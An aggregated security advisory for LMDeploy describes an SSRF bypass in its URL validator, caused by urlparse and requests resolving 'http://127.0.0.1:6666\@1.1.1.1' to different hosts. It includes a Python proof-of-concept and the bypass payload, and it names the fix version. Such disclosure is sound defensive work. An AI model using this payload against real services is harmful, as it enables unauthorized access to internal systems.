AI and data stack advisories

Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

LMDeployGHSA-39wr-7q6h-cf68

LMDeploy has an SSRF bypass

LMDeploy

CVE-2026-123818 · Published Sep 18, 2026 · updated Nov 9, 2026

High7.5
Fix: upgrade to 0.15.0 or later
GitHub advisory

Summary

The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.

<img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" />

However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request.

<img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" />

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

  • urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
  • requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

`

from urllib.parse import urlparse

import ipaddress

import socket

import requests...

Affected versions

PackageAffectedFixed in
lmdeploy
PyPI
>= 0.12.3, < 0.15.00.15.0
Details and references

### Summary The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. ### Details The current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. <img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" /> However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using `_is_safe_url` for URL validation, and then using requests.Session().get to send the request. <img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" /> The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to: - `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal) Below is a test code I wrote following the code. ``` from urllib.parse import urlparse import ipaddress import socket import requests def _is_safe_url(url: str) -> tuple[bool, str]: """Check if the URL is safe to fetch (not internal/private).""" try: parsed = urlparse(url) if parsed.scheme not in ("http", "https"): return False, f"Unsupported scheme: {parsed.scheme}" hostname = parsed.hostname if not hostname: return False, "Could not parse hostname from URL" # check all IPs (IPv4 + IPv6) using getaddrinfo try: infos = socket.getaddrinfo(hostname, None) except socket.gaierror: return False, "Hostname resolution failed" for info in infos: ip = ipaddress.ip_address(info[4][0]) # block any IP that is not globally routable (covers private, loopback, # link-local, multicast, reserved, unspecified, etc.) if not ip.is_global: return False, f"Blocked non-global IP detected: {ip}" return True, "URL is safe" except Exception as e: return False, f"URL validation failed: {str(e)}" # url = "http://127.0.0.1:6666" url = "http://127.0.0.1:6666\@1.1.1.1" is_safe, reason = _is_safe_url(url) if not is_safe: raise ValueError(f"URL is blocked for security reasons: {reason}") fetch_timeout = 10 client = requests.Session() client.max_redirects = 3 response = client.get(url, timeout=fetch_timeout, allow_redirects=True) ``` When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. <img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" /> However, when an attacker uses `http://127.0.0.1:6666\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666/`, bypassing the detection and achieving an SSRF attack. <img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" /> ### PoC ``` http://127.0.0.1:6666\@1.1.1.1 ``` ### Impact SSRF

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-436, CWE-918
Also known as
CVE-2026-123818

More LMDeploy advisories

All LMDeploy